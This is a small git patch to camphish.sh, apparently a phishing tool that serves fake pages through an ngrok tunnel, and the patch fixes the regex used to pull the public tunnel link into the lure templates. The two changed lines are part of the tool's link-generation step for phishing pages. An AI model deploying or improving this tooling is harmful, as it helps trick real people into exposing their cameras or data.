From 90f24e9109fc260ffb77acaf0db795f7f3af120b Mon Sep 17 00:00:00 2001 From: balu8994 <48620004+balu8994@users.noreply.github.com> Date: Thu, 23 Dec 2021 08:08:08 +0530 Subject: [PATCH] new update camphish.sh erroe solve --- camphish.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/camphish.sh b/camphish.sh index 0ffebba..9f632b4 100644 --- a/camphish.sh +++ b/camphish.sh @@ -122,7 +122,7 @@ printf '\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Direct link:\e[0m\e[1;77m %s\n' $s payload_ngrok() { -link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") +link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo 'https://[^/"]*\.ngrok.io') sed 's+forwarding_link+'$link'+g' template.php > index.php if [[ $option_tem -eq 1 ]]; then sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html @@ -205,7 +205,7 @@ printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n" ./ngrok http 3333 > /dev/null 2>&1 & sleep 10 -link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") +link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo 'https://[^/"]*\.ngrok.io') printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link payload_ngrok